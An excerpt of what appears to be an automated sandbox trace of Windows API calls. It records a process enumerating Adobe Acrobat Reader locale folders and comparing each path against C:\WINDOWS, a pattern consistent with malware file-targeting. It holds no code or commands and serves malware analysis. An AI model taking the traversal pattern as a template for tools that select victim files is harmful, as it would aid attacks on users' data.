	[0172.994] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0172.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.995] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0172.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.995] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0172.996] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0172.996] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0172.996] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xce0d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0172.996] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.996] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0172.996] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0172.997] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.999] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files-select", cAlternateFileName="DESKTO~1")) returned 1
	[0173.000] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.000] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0173.000] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.000] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0173.000] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0173.000] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0173.000] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig", cAlternateFileName="")) returned 1
	[0173.001] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.001] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0173.002] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.002] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.002] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0173.002] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.002] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0173.002] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0173.002] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.002] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0173.002] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.002] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0173.002] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.002] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0173.003] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.003] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0173.003] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.003] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0173.003] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.003] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0173.003] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.003] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0173.004] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.004] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0173.004] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.004] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0173.004] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.004] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0173.004] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.004] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0173.005] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.005] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0173.005] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.005] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0173.005] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.005] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0173.005] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.005] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0173.005] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.005] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0173.006] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.006] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0173.006] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.006] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0173.006] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.006] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0173.006] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.006] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0173.006] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.006] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0173.006] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.006] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0173.007] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.007] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0173.007] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.007] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0173.007] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.007] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0173.007] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.007] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0173.007] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ru-ru") returned 114
	[0173.007] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ru-ru") returned 1
	[0173.008] lstrlenW (lpString="ru-ru") returned 5
	[0173.008] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ru-ru") returned -1
	[0173.008] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
